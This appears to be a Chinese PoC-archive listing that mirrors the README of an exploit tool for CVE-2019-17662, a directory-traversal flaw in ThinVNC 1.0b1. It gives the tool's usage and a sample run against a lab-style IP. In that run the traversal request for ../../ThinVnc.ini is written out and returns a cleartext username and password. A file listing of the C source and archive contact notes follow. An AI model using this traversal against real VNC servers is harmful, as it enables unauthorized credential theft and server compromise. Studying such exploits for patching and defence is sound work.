关联漏洞
Description
Exploit For CVE-2019-17662
介绍
<h1 align="center">CVE-2019-17662</h1>
## Description
> ThinVNC 1.0b1 is vulnerable to arbitrary file read, which leads to a compromise of the VNC server. The vulnerability exists even when authentication is turned on during the deployment of the VNC server. The password for authentication is stored in cleartext in a file that can be read via a ../../ThinVnc.ini directory traversal attack vector.
>
> ~ [NIST](https://nvd.nist.gov/vuln/detail/CVE-2019-17662)
## Usage
```bash
$ ./bin/CVE-2019-17662 -h
[~] Usage: ./CVE-2019-17662 -u URL [-f File]
[>] Options:
OPTIONS Desciption
-u URL Base URL
-f File [Optional] File Name To Query (Default: ThinVnc.ini)
```
```bash
$ ./bin/CVE-2019-17662 -u http://10.10.185.214:8080/
[+] CVE-2019-17662 exploit by @whokilleddb
[o] Target : http://10.10.185.214:8080/
[x] File To Read: ThinVnc.ini
[~] Trying to Read: http://10.10.185.214:8080/abc/../../ThinVnc.ini
[:] Trying To Fetch Credentials
[-] User=Atlas
[-] Password=H0ldUpTheHe@vens
```
文件快照
[4.0K] /data/pocs/c516fddc136855d583a72f0ab49ad61ed461919c
├── [ 437] CMakeLists.txt
├── [4.0K] include
│ ├── [ 256] CURL.h
│ ├── [ 545] globals.h
│ ├── [ 239] main.h
│ └── [ 99] modules.h
├── [ 34K] LICENSE
├── [ 995] README.md
└── [4.0K] src
├── [1.4K] CURL.c
├── [ 836] main.c
└── [2.1K] modules.c
2 directories, 10 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮件到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对 POC 代码进行快照，为了长期维护，请考虑为本地 POC 付费/捐赠，感谢您的支持。